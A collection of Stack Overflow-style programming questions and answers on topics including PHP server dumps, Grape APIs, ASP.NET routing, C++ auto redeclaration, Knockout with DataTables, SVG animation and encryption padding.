"application/x-www-form-urlencoded" ["HTTP_REFERER"]=&gt; string(36) "http://localhost:8181/a2/reister.php" ["HTTP_ACCEPT_ENCODING"]=&gt; string(13) "gzip, deflate" ["HTTP_ACCEPT_LANGUAGE"]=&gt; string(23) "en-US,en;q=0.8,fa;q=0.6" ["HTTP_COOKIE"]=&gt; string(36) "PHPSESSID=knkseus8v498m0p1au7q84lqd4" ["PATH"]=&gt; string(1170) "C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft SQL Server\120\DTS\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\110\Tools\Binn\;C:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\;C:\Program Files\Microsoft SQL Server\120\Tools\Binn\;C:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\ManagementStudio\;C:\Program Files (x86)\Microsoft SQL Server\120\DTS\Binn\;C:\Program Files (x86)\Windows Kits\8.1\Windows Performance Toolkit\;C:\Program Files\Microsoft SQL Server\110\Tools\Binn\;C:\Program Files (x86)\Microsoft SDKs\TypeScript\1.0\;E:\SoftWare\Programming soft\JaVa\android\adt-bundle-windows-x86_64-20131030\sdk\platform-tools;E:\SoftWare\Programming soft\JaVa\android\adt-bundle-windows-x86_64-20131030\sdk\tools;C:\Program Files (x86)\Java\jdk1.6.0_45\bin;C:\Program Files\nodejs\;C:\Users\Farshid\Downloads\Compressed\apache-ant-1.9.4\bin;C:\Program Files\nodejs;C:\Program Files (x86)\Java\jdk1.6.0_45\bin;C:\Users\Farshid\AppData\Local\Code\bin;C:\Users\Farshid\AppData\Roaming\npm;C:\Program Files (x86)\Git\bin" ["SystemRoot"]=&gt; string(10) "C:\Windows" ["COMSPEC"]=&gt; string(27) "C:\Windows\system32\cmd.exe" ["PATHEXT"]=&gt; string(53) ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC" ["WINDIR"]=&gt; string(10) "C:\Windows" ["SERVER_SIGNATURE"]=&gt; string(96) " Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 Server at localhost Port 8181 " ["SERVER_SOFTWARE"]=&gt; string(46) "Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3" ["SERVER_NAME"]=&gt; string(9) "localhost" ["SERVER_ADDR"]=&gt; string(3) "::1" ["SERVER_PORT"]=&gt; string(4) "8181" ["REMOTE_ADDR"]=&gt; string(3) "::1" ["DOCUMENT_ROOT"]=&gt; string(15) "C:/xampp/htdocs" ["REQUEST_SCHEME"]=&gt; string(4) "http" ["CONTEXT_PREFIX"]=&gt; string(0) "" ["CONTEXT_DOCUMENT_ROOT"]=&gt; string(15) "C:/xampp/htdocs" ["SERVER_ADMIN"]=&gt; string(20) "postmaster@localhost" ["SCRIPT_FILENAME"]=&gt; string(30) "C:/xampp/htdocs/a2/Reister.php" ["REMOTE_PORT"]=&gt; string(5) "24763" ["GATEWAY_INTERFACE"]=&gt; string(7) "CGI/1.1" ["SERVER_PROTOCOL"]=&gt; string(8) "HTTP/1.1" ["REQUEST_METHOD"]=&gt; string(4) "POST" ["QUERY_STRING"]=&gt; string(0) "" ["REQUEST_URI"]=&gt; string(15) "/a2/reister.php" ["SCRIPT_NAME"]=&gt; string(15) "/a2/reister.php" ["PHP_SELF"]=&gt; string(15) "/a2/reister.php" ["REQUEST_TIME_FLOAT"]=&gt; float(1433452977.521) ["REQUEST_TIME"]=&gt; int(1433452977) } </code></pre> <p><strong>Edit:</strong><br> <a href="https://goo.gl/uUQ9O8" rel="nofollow">This</a> my project link for download</p>
20440967	0	 <p>If you define your endpoint within a <code>resource</code> block, for example:</p> <pre><code>module MyApiModule class MyApiClass &lt; Grape::API resource :foo do get :time do {epoch_time: Time.now.to_i.to_s} end end resource :bar do get :bar_time do {epoch_bar_time: Time.now.to_i.to_s} end end end end </code></pre> <p>... you will see this nice separators:</p> <p><img src="https://i.stack.imgur.com/t4grz.png" alt="enter image description here"></p>
23267553	0	Keep the code in <# #> bracers <p>My problem is pretty simple but I don't know how to solve it. It happens when XCode suggest me an existing function or code snippet. Some places (where I should place my variables) are surrounded by <code>&lt;#</code> and <code>#&gt;</code> "bracers". It's very usefull function - I can use <kbd>tab</kbd> to move to the next place where I should place my code. But when I have to implement code completion in reactive cocoa:</p> <pre><code>[[signal subscribeError:&lt;#^(NSError *error)errorBlock#&gt; completed:&lt;#^(void)completedBlock#&gt;] </code></pre> <p>I don't know how to remove <code>&lt;#</code> and <code>#&gt;</code> "bracers" to keep (for the following example) <code>(NSError *error)errorBlock</code>.</p>
8658079	0	register and login in one page changes my url <p>Im having the following issue.</p> <p>I have a View typed to a class SiteAuthenticationVM.cs.</p> <p>The name of my view is "SiteAuthentication.cshtml" into the folder Views/Users</p> <p>For other hand, i have one controller called UsersController with 4 actions:</p> <pre><code>[HttpGet] public ActionResult Registration() { return View("SiteAuthentication"); } [HttpPost] public ActionResult Registration(SiteAuthenticationVM usertoregister) { return View("SiteAuthentication",usertoregister); } [HttpGet] public ActionResult Login() { return View("SiteAuthentication"); } [HttpPost] public ActionResult Login(SiteAuthenticationVM usertologin) { return View("SiteAuthentication",usertoregister); } </code></pre> <p>I have 2 routes defined:</p> <ul> <li><p>"/register" is handled by UsersController Registration action.</p></li> <li><p>"/login" is handled by UsersController Login action.</p></li> </ul> <p>When i post my Login form is posted to /login if previously i was in url "/register", it changes to /login. Is there any way to keep my url "/register" for both post actions?</p> <p>Is a bad practice if the url changes? </p>
31390532	0	 <p>Use <a href="http://developer.android.com/reference/android/content/Context.html#getFileStreamPath(java.lang.String)" rel="nofollow">getFileStreamPath()</a> like this:</p> <pre><code>String fileName = "webImage"; //... Uri uri = Uri.fromFile(getFileStreamPath(fileName)); </code></pre>
26386337	0	 <p>There's surprisingly little in the standard about this. About all we hear about redeclaration is:</p> <blockquote> <p><code>[C++11: 3.1/1]:</code> A declaration (Clause 7) may introduce one or more names into a translation unit or redeclare names introduced by previous declarations. <em>[..]</em></p> </blockquote> <p>and the only relevant part of <code>auto</code>'s semantics:</p> <blockquote> <p><code>[C++11: 7.1.6.4/3]:</code> Otherwise, the type of the variable is deduced from its initializer. <em>[..]</em></p> </blockquote> <p>(reminding us that the type of <code>x</code> is <code>int</code>).</p> <p>We know that a variable must be given the same type by all declarations:</p> <blockquote> <p><code>[C++11: 3.5/10]:</code> After all adjustments of types (during which typedefs (7.1.3) are replaced by their definitions), <strong>the types specified by all declarations referring to a given variable or function shall be identical</strong>, except that declarations for an array object can specify array types that differ by the presence or absence of a major array bound (8.3.4). A violation of this rule on type identity does not require a diagnostic.</p> </blockquote> <p>and the "after all adjustments of types" ought to take care of any questions regarding <code>auto</code>'s participation in all of this; my interpretation, then, is that <strong>this is inherently a valid redeclaration (and definition) of the <code>x</code> at global scope with type <code>int</code>, and that Clang is correct</strong>. Even if we propose that <code>auto</code> does not count as "adjustment of type", since no diagnostic is required, at worst <em>all</em> listed implementations are compliant in their own way.</p> <p>I believe GCC and Visual Studio are taking the following as inspiration:</p> <blockquote> <p><code>[C++11: 7.1.6.4/5]:</code> A program that uses <code>auto</code> in a context not explicitly allowed in this section is ill-formed.</p> </blockquote> <p>&hellip;but I think that this is short-sighted. It seems unlikely that the standard language is intended to prohibit the usual redeclaration rules, just because they are not repeated or explicitly referenced from within <code>7.1.6.4</code>.</p> <p>C++14 adds wording that relates to declarations of <em>functions</em> with deduced types:</p> <blockquote> <p><code>[C++14: 7.1.6.4/13]:</code> Redeclarations or specializations of a function or function template with a declared return type that uses a placeholder type shall also use that placeholder, not a deduced type. <em>[..]</em></p> </blockquote> <p>By symmetry one might suggest that, in your <code>int</code> case, it is intended that GCC and VS be correct in rejecting the program. However, this is a different feature (since deduction cannot be applied to mere declarations) and thus a different scenario.</p> <p>Either way, improved standard wording would help here. I consider it a [reasonably minor] editorial defect.</p>
20482410	0	 <p>You never check for 'eof' in your read loop in readInput(). This means you have garbage values (perhaps 0) for these lines after you hit eof:</p> <pre><code> inputFile &gt;&gt; data[i].name; inputFile &gt;&gt; data[i].idNum; inputFile &gt;&gt; data[i].testNum; </code></pre> <p>Then what do you suppose is going to happen here, if data[i].testNum is zero?</p> <pre><code> data[i].average = total / data[i].testNum; </code></pre> <p>You might consider checking <code>inputFile.good()</code> before each read from the stream, and handle it appropriately when it returns false.</p>
25892363	0	ServiceBus type - queue segregation best practises <p>Let's say there is service bus instance working in one way mode. The service bus generates two kinds of messages: Foo and Bar. Both of these message types are to be saved in database. </p> <p>So I can see two approaches for doing so:</p> <ol> <li><p>Have two queues (FooQueue, BarQueue) and two bus instances (two processes) - one for receiving from FooQueue and one for receiving from BarQueue</p></li> <li><p>Have one queue and one bus instance with two handlers for Foo and Bar messages</p></li> </ol> <p>I would like to ask what are best practises (maybe even decision tree? :) ) for deciding when to use which approach.</p> <p>Thanks in advance</p>
21251917	0	 <p>alter you table so that it is setup as DELETE CASCADE.</p> <p>In hibernate this would be like</p> <pre><code>&lt;set name="stockDailyRecords" cascade="delete" table="stock_daily_record" ...&gt; &lt;key&gt; &lt;column name="STOCK_ID" not-null="true" /&gt; &lt;/key&gt; &lt;one-to-many class="com.mkyong.common.StockDailyRecord" /&gt; &lt;/set&gt; </code></pre> <p>see this <a href="http://www.mkyong.com/hibernate/hibernate-cascade-example-save-update-delete-and-delete-orphan/" rel="nofollow">link</a></p>
9585330	0	Cmake with MinGW fails compile test <p>I am trying to compile OpenCV on windows using CMAKE and MinGW on Windows. However, when I try to do that I am getting the following error:</p> <pre><code>The C compiler identification is GNU The CXX compiler identification is GNU Check for working C compiler: C:/MinGW/bin/gcc.exe CMake Error: Generator: execution of make failed. Make command was: make "cmTryCompileExec\fast" Check for working C compiler: C:/MinGW/bin/gcc.exe -- broken CMake Error at C:/Program Files (x86)/CMake 2.8/share/cmake-2.8/Modules/CMakeTestCCompiler.cmake:52 (MESSAGE): The C compiler "C:/MinGW/bin/gcc.exe" is not able to compile a simple test program. </code></pre> <p>Does anyone know what could be an issue?</p>
14885667	0	 <p>Look at your <a href="https://ccrma.stanford.edu/courses/422/projects/WaveFormat/" rel="nofollow">RIFF header</a>. This will tell you the endianness of the Wav file. </p> <p>Use that endian-ness to read in your 32-bit floats correctly. For example: If your system is little endian (say, based on an x86 processor) and your wav file is big endian(say, created on an old PPC mac), you will need to do a <a href="http://stackoverflow.com/questions/2182002/convert-big-endian-to-little-endian-in-c-without-using-provided-func">32-bit endian swap</a> after you read in the data so that your float variable actually contains data that makes sense (this is usually a value between -1.0f and 1.0f )</p>
27164649	0	 <p>if i am getting you right, you can call the following function on your desired event to switch between the markers without clicking.</p> <pre><code>marker1.showInfoWindow(); marker2.showInfoWindow(); marker3.showInfoWindow(); </code></pre> <p>Mark as right if it works for you .:)</p> <p>P.S: An info window can be hidden by calling hideInfoWindow().</p>
7403775	0	 <p>Because <code>c</code> is a character and not an integer.</p> <p>The ASCII value of '0' is 48 so a '0' would be index 48 in the <code>n[c]</code> statement and the programmer wanted '0' to be index 0 because <code>n</code> was defined <code>n[10]</code>, so the ASCII value is converted to its integer equivalent by subtracting the code for '0' so: <code>'0' - '0' = 0</code>, <code>'1' - '0' = 1</code>, etc. The ASCII codes for '0' to '9' are 48 to 57 so the conversion is sound.</p> <p>As for why, I guess someone is counting the frequency of the digits '0' to '9' in some text.</p>
20108569	0	 <p>You need this in your CSS:</p> <pre><code>#nav-wrap .container .wsite-menu-default { display:table; margin:auto; } </code></pre> <p>Here is your fiddle working <strong><a href="http://jsfiddle.net/58sqQ/2/" rel="nofollow">http://jsfiddle.net/58sqQ/2/</a></strong></p>
24837331	0	 <p>you need to add a var as xmlhttp; on starting to get the status result please use below code i modify it,</p> <pre><code>&lt;script&gt; //Ajax to send request.. function sendPayment() { var xmlhttp; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { alert(xmlhttp.readyState);// this always returns = 1 alert(xmlhttp.responseText) ; //this is always empty. if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status==200) { if (xmlhttp.responseText=='1') { alert('success'); } } } xmlhttp.open("POST","payments/callSSL.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send(Id=100); return false; } &lt;/script&gt; </code></pre>
33125090	0	 <p>As you say "correct" to all our assumptions, ...</p> <ul> <li>you only use the time part of rounded_time and we must ignore the date part</li> <li>the batch that shall pick 12:15, 12:30, 12:45, and 13:00 runs after 13:00 and before 14:00</li> </ul> <p>This leads to a WHERE clause like this:</p> <pre><code>where extract(hour from systimestamp) - 1 = extract(hour from cast(rounded_time as timestamp) - interval '1' minute) </code></pre> <p>Here we extract the current hour when the batch is executing the query and subtract one. This would give us 12 for the batch running after 13:00 and before 14:00.</p> <p>And we take rounded_time, subtract a minute to get from 12:00 to 11:59 and from 13:00 to 12:59, and extract the hour. So we get 12 for all records after 12:00 until 13:00.</p> <p>The complete query:</p> <pre><code>select domain, mode, channel, kpi, sum(value), avg(avgtm), to_char(sysdate, 'hh24') || ':00' from t1 where extract(hour from systimestamp) - 1 = extract(hour from cast(rounded_time as timestamp) - interval '1' minute) group by domain, mode, channel, kpi; </code></pre>
2322315	0	 <p>You might be using too many keys or opening and closing them too many times. Storing all your values under one key and keeping it open until you finish writing to it might improve performance.</p>
8241360	0	 <p>Find out the real encoding of the source document. It might be <code>WIN1251</code>. Either transcode it (for instance with <a href="http://en.wikipedia.org/wiki/Iconv" rel="nofollow">iconv</a>) or set the <code>client_encoding</code> of PostgreSQL accordingly.</p> <p>If you don't have a setting in <code>pyodbc</code> (which I don't know), you can always issue a plain SQL command:</p> <pre><code>SET CLIENT_ENCODING TO 'WIN1251'; </code></pre> <p>More in the chapter <a href="http://www.postgresql.org/docs/current/interactive/multibyte.html#AEN32070" rel="nofollow">"Automatic Character Set Conversion Between Server and Client"</a> of the manual.</p>
33291992	0	 <p>This is because the html that is bound to your knockout observable array is mangled when datatables is initialized... The html is copied and reformatted to be "datatables" after initialization. so the elements that you view after datatables initialization are not the same elements that knockout has bound to. I have created a custom binding to use datatables with knockout. it is dependent upon a fork of knockout which adds before render all and after render all events. I have created a pull request with the knockout git hub repository. If the below solution helps you please leave a comment on the pull request to get it merged into knockout 3.4... thanks.</p> <p><a href="http://jsfiddle.net/zachpainter77/4tLabu56/" rel="nofollow">fiddle of working solution</a></p> <p><a href="https://github.com/knockout/knockout/pull/1856" rel="nofollow">my pull request</a></p> <pre><code>ko.bindingHandlers.DataTablesForEach = { init: function (element, valueAccessor, allBindingsAccessor, viewModel, bindingContext) { var nodes = Array.prototype.slice.call(element.childNodes, 0); ko.utils.arrayForEach(nodes, function (node) { if (node &amp;&amp; node.nodeType !== 1) { node.parentNode.removeChild(node); } }); return ko.bindingHandlers.foreach.init(element, valueAccessor, allBindingsAccessor, viewModel, bindingContext); }, update: function (element, valueAccessor, allBindingsAccessor, viewModel, bindingContext) { var value = ko.unwrap(valueAccessor()), key = "DataTablesForEach_Initialized"; var newValue = function () { return { data: value.data || value, beforeRenderAll: function (el, index, data) { if (ko.utils.domData.get(element, key)) { $(element).closest('table').DataTable().clear(); $(element).closest('table').DataTable().destroy(); } }, afterRenderAll: function (el, index, data) { $(element).closest('table').DataTable(value.options); } }; }; ko.bindingHandlers.foreach.update(element, newValue, allBindingsAccessor, viewModel, bindingContext); //if we have not previously marked this as initialized and there is currently items in the array, then cache on the element that it has been initialized if (!ko.utils.domData.get(element, key) &amp;&amp; (value.data || value.length)) { ko.utils.domData.set(element, key, true); } return { controlsDescendantBindings: true }; } }; </code></pre>
455421	0	 <p>Yes, definitely. I use subversion for all my personal projects, for the same reasons you cited above. </p> <p>I wouldn't even consider doing any coding without a VCS, no matter how small the project. I have one big repository that has many folders in it for all of my small projects, and if I am working on a larger project, it will get its own repository.</p>
3468788	0	 <p>The HTML5 spec has an <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#valid-e-mail-address" rel="nofollow noreferrer">interesting take on the issue of valid email addresses</a>:</p> <blockquote> <p>A valid e-mail address is a string that matches the ABNF production 1*( atext / "." ) "@" ldh-str 1*( "." ldh-str ) where atext is defined in RFC 5322 section 3.2.3, and ldh-str is defined in RFC 1034 section 3.5.</p> </blockquote> <p>The nice thing about this, of course, is that you can then take a look at the open source browser's <a href="https://bug555559.bugzilla.mozilla.org/attachment.cgi?id=461895" rel="nofollow noreferrer">source code for validating it</a> (look for the <code>IsValidEmailAddress</code> function). Of course it's in C, but not too hard to translate to JS.</p>
34702344	0	Nginx ReWrite Engine - Transform Apache Rules to Nginx <p>I need to transform those Apache rules to Nginx for my MVC. </p> <p>Apache Rules :</p> <pre><code>RewriteEngine on RewriteCond %{DOCUMENT_ROOT}/system/maintenance.html -f RewriteCond %{SCRIPT_FILENAME} !maintenance.html RewriteRule ^.*$ %{DOCUMENT_ROOT}/system/maintenance.html [L] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-l RwriteRule ^(.+)$ index.php?url=$1 [QSA,L] </code></pre> <p>I think that some of it i can handle for the first part for the maintenance i think that this can help:</p> <pre><code>location / { root /var/www/myapp.com/current/public; try_files /system/maintenance.html $uri $uri/index.html $uri.html @app-server_cluster; </code></pre> <p>}</p> <p>but the second block of the QSA,L i don't know. </p> <p>Thanks for your Help!</p>
27938794	0	 <p>I haven't used that particular library before, but do you have anything against using the one in Android's support library? Works perfectly for me...</p> <pre><code>import android.support.v4.widget.SwipeRefreshLayout; import android.support.v4.widget.SwipeRefreshLayout.OnRefreshListener; </code></pre> <p>AND</p> <pre><code>&lt;android.support.v4.widget.SwipeRefreshLayout xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/swipe_container" android:layout_width="match_parent" android:layout_height="match_parent" &gt; &lt;/android.support.v4.widget.SwipeRefreshLayout&gt; </code></pre>
35118493	0	 <h2>Methods</h2> <p>You could use one of the following methods:</p> <ul> <li><code>float:left;</code> on <code>.menu</code></li> <li><code>display:inline-block;</code> + <code>vertical-align:top;</code> on <code>.menu</code></li> <li><code>position:absolute;</code> on <code>#changetitle</code></li> </ul> <p>With the <code>float</code> and <code>vertical-align</code> methods, you'll need to remove the <code>margin-right</code> on <code>.menu ul</code> (<code>float</code> will also work if you give the menu a width). With <code>position:absolute</code> you're goning to spend a whole lot of time getting the <code>left</code> and <code>top</code> values right :P</p> <h2>Which is best?</h2> <p>Probably <code>inline-block</code>. It's the easiest to set up, and just works. Best of all, it's <em>dynamic</em>. If you want to add another menu item at a later date and have to make the <code>.menu</code> div bigger, you don't have to change the CSS, whereas <code>float</code> usually would require you to set a width on <code>.menu</code> and <code>position:absolute</code> <em>definitely</em> requires that (as it is telling the browser exactly at what pixel to put <code>#changetitle</code>. If you're going to have more columns continue this design throughout the rest of the page, you <em>may</em> want to consider using <code>column</code> or <code>display:table</code> (<strong>never</strong> an actual <code>&lt;table&gt;</code> :P)</p> <p>Long story short, use <code>inline-block</code>.</p> <p>Here's a working demo: <a href="https://jsfiddle.net/mnfgo32g/12/" rel="nofollow">https://jsfiddle.net/mnfgo32g/12/</a></p>
26563318	0	 <p>The problem is likely to be the <code>ZeroBytePadding</code>. The one of Bouncy always adds/removes at least one byte with value zero (a la PKCS5Padding, 1 to 16 bytes of padding) but the one of PHP only pads until the first block boundary is encountered (0 to 15 bytes of padding). I've discussed this with David of the legion of Bouncy Castle, but the PHP zero byte padding is an extremely ill fit for the way Bouncy does padding, so currently you'll have to do this yourself, and use the cipher without padding.</p> <p>Of course, as a real solution, rewrite the PHP part to use AES (<code>MCRYPT_RIJNDAEL_128</code>), CBC mode encryption, HMAC authentication, a real Password Based Key Derivation Function (PBKDF, e.g. PBKDF2 or bcrypt) and PKCS#7 compatible padding instead of this insecure, incompatible code. Alternatively, go for OpenSSL compatibility or a known secure container format. </p>
41074549	0	 <p>I might have understood your problem wrong, but try this.</p> <p>Give your anchor tag an id.</p> <p><code>&lt;a id='anchor_sym'&gt;&lt;/a&gt;</code></p> <p>Then, in <code>onClick()</code> method, do on of following:</p> <pre><code>/* Plain Javascript*/ var element = document.getElementById("anchor_sym"); element.className += " glyphicon-chevron-left"; element.className = element.className.replace("glyphicon-chevron-right", ""); /* Using JQuery*/ $('anchor_sym') .addClass('glyphicon-chevron-left') .removeClass('glyphicon-chevron-right'); </code></pre>
22050031	0	android - Develop apps using Visual Basic <p>is it possible to develop android apps using Visual Basic? if yes, how?</p> <p>i have been working with it for a while and eclipse is quite difficult to use. i'd seriously prefer using VS</p>
36968869	0	Animating SVG rect x property via CSS <p>I have a classic mobile three-bars menu button made with SVG. I would like to animate each bar on click.</p> <p>This is my code:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="false" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$('#menu_button').click( function() { $(this).toggleClass('open'); } );</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>#menu_button .rectangle { left: 0; x: 0; transition: all ease 1s; } #menu_button .rectangle.first { transform: rotate(0deg); top: 0; y: 0; } #menu_button .rectangle.second { transform: rotate(0deg); transform-origin: 8px 9px; top: 6px; y: 6; } #menu_button .rectangle.third { transform: rotate(0deg); transform-origin: 11px 9px; top: 12px; y: 12; } #menu_button.open .rectangle.first { top: 23.2px; y: 23.2px; } #menu_button.open .rectangle.second { transform: rotate(405deg); } #menu_button.open .rectangle.third { transform: rotate(495deg); left: 0; x: 0; top: 8px; y: 8; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt; &lt;svg width="22" height="35" id="menu_button" class="hidden-sm hidden-md hidden-lg"&gt; &lt;rect style="opacity:1; fill:#eb671f; fill-opacity:1;stroke:none;" class="rectangle first" width="22" height="2" x="0" y="0" /&gt; &lt;rect style="opacity:1; fill:#eb671f; fill-opacity:1;stroke:none;" class="rectangle second" width="22" height="2" x="0" y="6" /&gt; &lt;rect style="opacity:1; fill:#eb671f; fill-opacity:1;stroke:none;" class="rectangle third" width="22" height="2" x="0" y="12" /&gt; &lt;/svg&gt;</code></pre> </div> </div> </p> <p>JSFiddle for those like me who can't run the snippet: <a href="https://jsfiddle.net/9rkoLcx8/2/" rel="nofollow noreferrer">https://jsfiddle.net/9rkoLcx8/2/</a></p> <p>The issue is with Firefox.</p> <p>I mean, everything is working fine on Chrome and Opera, this doesn't work on Safari (it has no animation but it's still ok as it doesn't break things up), and works half in firefox: it rotates correctly but doesn't animate the <code>x</code> and <code>y</code> of SVG rects.</p> <p><a href="https://i.stack.imgur.com/XjHNn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XjHNn.png" alt="enter image description here"></a></p> <p>This is what I think: <code>x</code> and <code>y</code> are <code>rect</code> attributes, not CSS properties, so not only they shouldn't work on Firefox, they shouldn't work on Chrome and Opera too. That's why I added <code>top</code> and <code>left</code>, but it still doesn't work.</p> <p>Is there a way to make the animation of <code>x</code> and <code>y</code> work in Firefox too?</p>
37961592	0	Javascript onclick with img is not working on IE10 with HTML 5 enable <p>We have a legacy HTML+JavaScript code which has been written approx 15 years back. We are enabling some of the feature in the code by using HTML5 like as search box etc.</p> <p>While enabling HTML-5, checkbox stop working on IE-10, same code is working on Firefox and chrome. Checkbox functionality has been implemented using tag.</p> <p>Below is the snapshot of the code.</p> <pre><code>function ClickCheckBoxImage (object) { if( !IsDisabled (object)) { SetCheckBoxImage (object, !IsChecked (object)) eval (object.getAttribute ("onchange")) } } Page.prototype.AddCheckBox = function (name, value, onChange, forceNavUpdate, rebootOnChange, isReadOnly, condition) { var checkBox var checkBoxHelper var checked = value.toLowerCase() == "true" var newElement = document.createDocumentFragment() var checkBoxName = name + "checkbox" onChange = (!onChange) ? "" : onChange + ";" if (isReadOnly == null) isReadOnly = false if(userNameglobal == 4) isReadOnly = true onClick = "ClickCheckBoxImage(this);" onChange += 'UpdateDependentRows (document.getElementById(\''+name+'\'));' if (this.autoSubmit) onChange += 'SubmitOnChangeOf (\''+checkBoxName+'\');' if (forceNavUpdate) onClick += 'UpdateNavReloadCB(this);' // Create the checkbox Image checkBox = CreateElement ('&lt;img class="checkbox" '+ ' name="'+checkBoxName+'" id="'+checkBoxName+'" onclick="'+onClick+'"&gt;') checkBox.setAttribute ("onchange", onChange) checkBox.setAttribute ("disabled", isReadOnly) checkBox.setAttribute ("helper", name) SetImageValue (checkBox, checked) checkBox.src = GetCheckBoxImageName (checkBox) this.SetCommonAttributes (checkBox, rebootOnChange, condition); newElement.appendChild (checkBox); // Create the helper checkBoxHelper = CreateElement ('&lt;input type="hidden" id="'+name+ '" name="'+name+'" value="'+value+'"&gt;'); this.SetCommonAttributes (checkBoxHelper, rebootOnChange, condition); newElement.appendChild (checkBoxHelper); return newElement; } </code></pre> <p>Function ClickCheckBoxImage() has been set to onclick. While debugging the issue, It has been seen that ClickCheckBoxImage() is not calling in case of IE-10, but it is calling in case firefox and chrome.</p> <p>Please help me to resolve this issue.</p> <p>Thanks in advance.</p>
41023575	0	How to design a Snake and Ladder game without using HashMap? <p>I was asked this question once which I replied using a HashMap. But then again I was asked to use another data structure. Can some one think of some other approach</p>
18458439	0	 <p>Try to create the table as below:</p> <pre><code>CREATE TABLE t1 (dt DATETIME(6) NOT NULL); </code></pre> <p><strong><a href="http://sqlfiddle.com/#!9/a9086/1/0" rel="nofollow">SQL Fiddle</a></strong></p>
28931812	0	 <p>You put everything in a loop. Why? You should use the loop only to check whether the username is taken or not and send your messages outside of it. </p> <p>First of all you'd like to force your loop to work only as long as it should. You can do it by declaring <code>isUsed</code> before it and adding it to the condition. Then, in the loop, you only check whether the name is taken and change the value of your variable. The loop will either iterate through all the clients or end when it encounters the first name that matches your condition. When the loop is over, you should decide which command you send basing on the results.</p> <pre><code>bool isUsed = false; for (int i = 0; i &lt; clientsInfoList.Count &amp;&amp; !isUsed; i++) { isUsed = String.Equals(clientsInfoList[i].Item3, Username); } if (isUsed) { Console.WriteLine("Username is already used!"); udpServer.Send(Encoding.ASCII.GetBytes("REFUSED"), Encoding.ASCII.GetByteCount("REFUSED"), remoteEP); } else { clientsInfoList.Add(new Tuple&lt;int, IPEndPoint, string&gt;(id, remoteEP, Username)); Console.WriteLine("Username has been added to the list :)"); udpServer.Send(Encoding.ASCII.GetBytes("ACCEPTED"), Encoding.ASCII.GetByteCount("ACCEPTED"), remoteEP); } </code></pre>
27097738	0	 <p>Your question raises some interesting issues. I will try to explain how you can fix it, but, as @Uri mentions, there may be better ways to address your problem.</p> <p>I've assumed <code>@tranfee</code> is to be set equal to the first value in the hash whose key begins with <code>"tran"</code> and that <code>@rate</code> is to be set equal to the first value in the hash whose key begins with <code>"rate"</code>. If that interpretation is not correct, please let me know.</p> <p>Note that I've put <code>initialize</code> in the <code>PaymentType</code> module in a class (<code>Papa</code>) and made <code>TranFee</code> and <code>Rate</code> subclasses. That's the only way you can use <code>super</code> within <code>initialize</code> in the subclasses of that class.</p> <p><strong>Code</strong></p> <pre><code>class Transaction attr_reader :tranfee, :rate def initialize(hash={}) o = PaymentType::TranFee.new(hash) @tranfee = o.instance_variable_get(o.instance_variables.first) o = PaymentType::Rate.new(hash) @rate = o.instance_variable_get(o.instance_variables.first) end end </code></pre> <p>.</p> <pre><code>module PaymentType class Papa def initialize(hash, prefix) key, value = hash.find { |key,value| key.start_with?(prefix) &amp;&amp; value } (raise ArgumentError, "No key beginning with #{prefix}") unless key instance_variable_set("@#{key}", value) self.class.singleton_class.class_eval { attr_reader key } end end class TranFee &lt; Papa def initialize(hash) super hash, "tran" end end class Rate &lt; Papa def initialize(hash) super hash, "rate" end end end </code></pre> <p>I believe the method <a href="http://ruby-doc.org/core-2.1.1/Object.html#method-i-singleton_class" rel="nofollow">Object#singleton_class</a> has been available since Ruby 1.9.3.</p> <p><strong>Example</strong></p> <pre><code>reg_debit = {"name" =&gt; "reg_debit", "rate_base" =&gt; 0.0005, "tran_fee" =&gt; 0.21, "rate_basis_points" =&gt; 0.002, "tran_auth_fee" =&gt; 0.10} a = Transaction.new reg_debit p Transaction.instance_methods(false) #=&gt; [:tranfee, :rate] p a.instance_variables #=&gt; [:@tranfee, :@rate] p a.tranfee #=&gt; 0.21 p a.rate #=&gt; 0.0005 </code></pre>
19386826	0	 <p>Unfortunately since UDP has no concept of a "connection", there is no way for the OS (or you) to distinguish between "old" data and "new" data.</p> <p>Specifically on Win32, there's an <code>SIO_FLUSH</code> ioctl which you can pass to <code>WSAIoctl()</code>. I haven't tried this, and it seems that it's only relevant for the send queue.</p> <p>See also: <a href="http://stackoverflow.com/questions/15980438/clean-window-socket-internal-buffer">clean window socket internal buffer</a></p>
24510132	0	 <p>You don't need a regex for that, you can use <code>encodeURI</code></p> <pre><code>url = url.replace(/null/g, ""); url = encodeURI(url); </code></pre>
